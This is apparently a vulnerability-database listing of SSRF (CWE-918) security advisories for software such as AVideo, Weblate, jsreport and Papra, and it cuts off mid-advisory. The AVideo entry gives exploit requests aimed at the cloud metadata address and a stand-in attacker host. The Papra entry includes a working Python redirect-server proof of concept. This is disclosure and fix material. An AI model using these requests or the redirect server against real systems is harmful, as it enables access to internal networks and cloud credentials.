Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4810 vulnerabilities reference this CWE, most recent first.

GHSA-5F7V-4F6G-74RJ

Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-03-25 18:49
VLAI
Summary
AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.

Affected Component

File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28

$streamerURL = ""; // change it to your streamer URL

$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
    include_once $configFile;
    $streamerURL = $global['webSiteRootURL'];
}

if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED
}

// ...

$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL);           // SSRF

Root Cause

  1. User-controlled URL base: When the configuration file does not exist (standalone deployment), $streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.
  2. No URL allowlisting or scheme restriction: The value is used as-is in a file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.
  3. Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.

Exploitation

Part 1: Basic SSRF (Internal Network Access)

POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything

The server fetches:

http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything

While the appended path may cause a 404 on the metadata service, the attacker can also use this for: - Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages. - Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall. - Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.

Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

  1. The attacker sets up a server at https://attacker.example.com/ with the path: /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php That returns: json {"error": false, "response": {"key": "attacker_controlled_value"}}

  2. The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php

webSiteRootURL=https://attacker.example.com/&saveDVR=anything ```

  1. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.

  2. The key value from the response flows into shell commands:

  3. Line 55: $DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)
  4. Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
    • Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}");
    • Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");
    • Line 167: exec("rm -R {$tmpDVRDir}");

The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However: - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain. - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex. - The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.

Impact

  • SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
  • Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
  • Potential Command Execution: While the regex on $key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.
  • Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.

Suggested Fix

  1. Remove the user-controlled webSiteRootURL fallback entirely. Require $streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:

```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // }

// If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ```

  1. If the parameter must remain for backward compatibility, validate it: php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } }

  2. Apply escapeshellarg() to all variables used in exec() calls, including $DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:26Z",
    "nvd_published_at": "2026-03-23T14:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n    $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n   //     $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die(\u0027saveDVR: Server not configured\u0027);\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n       $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n       if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die(\u0027saveDVR: Invalid URL\u0027);\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
  "id": "GHSA-5f7v-4f6g-74rj",
  "modified": "2026-03-25T18:49:00Z",
  "published": "2026-03-19T19:13:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass"
}

GHSA-5FHX-9JWJ-867M

Vulnerability from github – Published: 2026-04-16 20:41 – Updated: 2026-04-16 20:41
VLAI
Summary
Weblate: Authenticated SSRF via redirect bypass of ALLOWED_ASSET_DOMAINS in screenshot URL uploads
Details

Impact

The ALLOWED_ASSET_DOMAINS setting applied only to the first issued requests and didn't restrict possible redirects.

Patches

  • https://github.com/WeblateOrg/weblate/pull/18550

References

This issue was reported by @spbavarva via GitHub.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weblate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:41:59Z",
    "nvd_published_at": "2026-04-15T19:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe ALLOWED_ASSET_DOMAINS setting applied only to the first issued requests and didn\u0027t restrict possible redirects.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/18550\n\n### References\nThis issue was reported by @spbavarva via GitHub.",
  "id": "GHSA-5fhx-9jwj-867m",
  "modified": "2026-04-16T20:41:59Z",
  "published": "2026-04-16T20:41:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-5fhx-9jwj-867m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33440"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/pull/18550"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WeblateOrg/weblate/commit/8be80625a864c8db5854503872a65e8a0b7399a6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WeblateOrg/weblate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Weblate: Authenticated SSRF via redirect bypass of ALLOWED_ASSET_DOMAINS in screenshot URL uploads"
}

GHSA-5FJJ-CFH2-GHC5

Vulnerability from github – Published: 2021-04-13 15:25 – Updated: 2021-04-06 22:34
VLAI
Summary
Server-Side Request Forgery and Inclusion of Functionality from Untrusted Control Sphere in jsreport
Details

An unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jsreport"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-06T22:34:40Z",
    "nvd_published_at": "2020-02-14T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "An unintended require and server-side request forgery vulnerabilities in jsreport version 2.5.0 and earlier allow attackers to execute arbitrary code.",
  "id": "GHSA-5fjj-cfh2-ghc5",
  "modified": "2021-04-06T22:34:40Z",
  "published": "2021-04-13T15:25:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8128"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/660565"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery and Inclusion of Functionality from Untrusted Control Sphere in jsreport"
}

GHSA-5FXG-7VXP-3W6Q

Vulnerability from github – Published: 2024-03-03 18:30 – Updated: 2024-03-03 18:30
VLAI
Details

IBM QRadar WinCollect Agent 10.0 through 10.1.2 could allow a privileged user to cause a denial of service. IBM X-Force ID: 240151.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-43880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-03T16:15:49Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar WinCollect Agent 10.0 through 10.1.2 could allow a privileged user to cause a denial of service.  IBM X-Force ID:  240151.",
  "id": "GHSA-5fxg-7vxp-3w6q",
  "modified": "2024-03-03T18:30:45Z",
  "published": "2024-03-03T18:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43880"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/240151"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6980843"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5FXM-9PF8-GQ25

Vulnerability from github – Published: 2022-05-14 02:21 – Updated: 2022-05-14 02:21
VLAI
Details

AdminTools in SAP BusinessObjects Business Intelligence, versions 4.1, 4.2, allows an attacker to manipulate the vulnerable application to send crafted requests on behalf of the application, resulting in a Server-Side Request Forgery (SSRF) vulnerability.

Severity
9.6 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-2445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-14T16:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "AdminTools in SAP BusinessObjects Business Intelligence, versions 4.1, 4.2, allows an attacker to manipulate the vulnerable application to send crafted requests on behalf of the application, resulting in a Server-Side Request Forgery (SSRF) vulnerability.",
  "id": "GHSA-5fxm-9pf8-gq25",
  "modified": "2022-05-14T02:21:28Z",
  "published": "2022-05-14T02:21:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-2445"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2630018"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=499352742"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105064"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5G4M-3VPX-X6CW

Vulnerability from github – Published: 2024-04-07 18:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in RapidLoad RapidLoad Power-Up for Autoptimize.This issue affects RapidLoad Power-Up for Autoptimize: from n/a through 2.2.11.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-31288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-07T18:15:11Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in RapidLoad RapidLoad Power-Up for Autoptimize.This issue affects RapidLoad Power-Up for Autoptimize: from n/a through 2.2.11.",
  "id": "GHSA-5g4m-3vpx-x6cw",
  "modified": "2026-04-28T21:34:31Z",
  "published": "2024-04-07T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31288"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/unusedcss/wordpress-rapidload-plugin-2-2-11-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5G76-4VCR-3P8X

Vulnerability from github – Published: 2023-06-14 09:30 – Updated: 2023-06-14 09:30
VLAI
Details

A vulnerability was found in Zhong Bang CRMEB up to 4.6.0. It has been classified as critical. Affected is the function get_image_base64 of the file api/controller/v1/PublicController.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-231504. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-14T07:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Zhong Bang CRMEB up to 4.6.0. It has been classified as critical. Affected is the function get_image_base64 of the file api/controller/v1/PublicController.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-231504. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-5g76-4vcr-3p8x",
  "modified": "2023-06-14T09:30:41Z",
  "published": "2023-06-14T09:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HuBenLab/HuBenVulList/blob/main/CRMEB%20is%20vulnerable%20to%20Server-side%20request%20forgery%20(SSRF).md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.231504"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.231504"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5G86-85RP-F9HX

Vulnerability from github – Published: 2026-06-10 13:39 – Updated: 2026-06-10 13:39
VLAI
Summary
Papra HTTP redirect bypass can lead to SSRF via webhook delivery system
Details

Summary

Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses — loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores redirect destinations. The HTTP client (ofetch) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client.

Details

The vulnerable call

The webhook HTTP client in packages/webhooks/src/webhooks.services.ts (lines 16–19) calls ofetch.raw() without specifying a redirect option:

const response = await ofetch.raw<unknown>(url, {
  ...options,
  ignoreResponseError: true,
  // no `redirect` option — defaults to 'follow' per Fetch API spec
});

ofetch is a thin wrapper around the WHATWG Fetch API. The Fetch specification defines three redirect modes — follow, error, and manual — and sets follow as the default. In follow mode, the HTTP implementation resolves the redirect chain internally and returns only the final response; application code receives the terminal response with no indication that any redirects occurred. ofetch 1.4.1 does not set a redirect option in its internal fetch() call, so the default applies. The ignoreResponseError: true option only suppresses exceptions on non-2xx responses; it has no effect on redirect handling.

How the bypass works

The SSRF protection runs at two points: registration time (checkWebhookUrlIsSsrfSafe, webhooks.usecases.ts:34) and delivery time (filterOutSsrfUnsafeWebhooks, webhooks.usecases.ts:124). Both checks work the same way:

// apps/papra-server/src/modules/shared/ssrf/ssrf.services.ts, lines 20-27
const hostname = getUrlHostname(url);
return isHostnameSsrfSafe({ hostname, allowedHostnames, dnsLookup, logger });
// Resolves hostname → checks all resulting IPs against the blocklist
// Blocklist covers: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16,
//                   169.254.0.0/16, ::1, and other reserved ranges

Both checks operate on url — the registered webhook URL, a public hostname that resolves to a public IP and passes the blocklist. Neither check has any visibility into where the HTTP client will end up after following a redirect. The Location header in a 3xx response is never extracted, never DNS-resolved, and never compared against the blocklist. By the time the redirect target is known to the Fetch implementation, the request has already been made.

The developer cannot observe this gap. The Fetch API gives no opportunity to inspect the redirect target before following it.

Evidence

Attacker's redirect server receives the POST and returns 302:

[2026-05-08T15:55:38.388647] POST /redirect
  User-Agent: papra-webhook-client    ← set only in webhooks.services.ts:47
  X-Forwarded-For: <REDACTED>
"POST /redirect HTTP/1.1" 302 -

Papra's inbound request log immediately after — this is the server logging a request arriving at itself:

{"message":"Request completed","timestampMs":1778255738420,
 "data":{"status":200,"method":"GET","path":"/api/health",
         "userAgent":"papra-webhook-client"}}   ← outbound UA on an inbound request

papra-webhook-client is set exclusively by the outbound webhook delivery code (webhooks.services.ts:47). Its presence on an inbound log entry is only possible if Papra's own HTTP client followed the 302 and made a request to the loopback. The delivery record confirms the internal endpoint responded HTTP 200:

{"message":"Webhook triggered","timestampMs":1778255738422,
 "data":{"responseStatus":200,"webhookId":"wbh_s6t1xzezbzbivyhptcs7qxhk"}}

PoC

  1. Start redirect_server.py on a publicly reachable server (ngrok free tier is sufficient). The example below uses Papra's own health endpoint as the redirect target to demonstrate the bypass — in a cloud environment replace REDIRECT_TARGET with http://169.254.169.254/latest/meta-data/ or any internal address.
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import datetime

REDIRECT_TARGET = "http://127.0.0.1:1221/api/health"  # replace with desired internal target

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_len = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_len)
        print(f"[{datetime.datetime.now(datetime.timezone.utc).isoformat()}] POST {self.path}")
        print(f"  User-Agent: {self.headers.get('User-Agent')}")
        print(f"  Body: {body[:200]}")
        self.send_response(302)
        self.send_header("Location", REDIRECT_TARGET)
        self.end_headers()

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    pass

if __name__ == "__main__":
    server = ThreadedHTTPServer(("0.0.0.0", 9999), RedirectHandler)
    print("Redirect server running on port 9999")
    server.serve_forever()

ThreadingMixIn is required — Papra immediately opens a second connection to the same port when following the redirect; a single-threaded server deadlocks.

  1. Register a webhook pointing to the redirect server: POST /api/organizations/{orgId}/webhooks {"name":"ssrf-test","url":"https://{ngrok-url}/redirect","events":["document:created"]}
  2. Upload any document to the organisation to fire a document:created event.
  3. Confirm on the Papra server logs that /api/health received a GET request with User-Agent: papra-webhook-client.

Impact

  • Any authenticated org member (no admin role required) can trigger the exploit.
  • The Papra server makes HTTP requests to internal addresses blocked by its own SSRF list: 127.0.0.0/8, 169.254.0.0/16, RFC-1918 ranges.
  • This is blind SSRF — internal response bodies are written to webhook_deliveries but no API route exposes delivery records. Response content is not accessible to the attacker through the Papra API.
  • Internal network topology can be partially inferred from whether requests succeed or fail (closed port produces a network error; open port returns an HTTP response).
  • HTTP 307 redirects preserve the POST method and body, enabling state-changing requests to internal services that accept unauthenticated POSTs.
  • On cloud deployments (AWS, GCP, Azure), the instance metadata service at 169.254.169.254 is reachable by the same technique. Cloud IMDS was not tested in this PoC (local Docker environment, no metadata service present). Response exfiltration via the Papra API remains unavailable regardless.

Suggested Fix

Add redirect: 'manual' to the ofetch.raw() call in packages/webhooks/src/webhooks.services.ts (line 16) and treat any 3xx response as a delivery failure. Webhook endpoints have no legitimate reason to redirect:

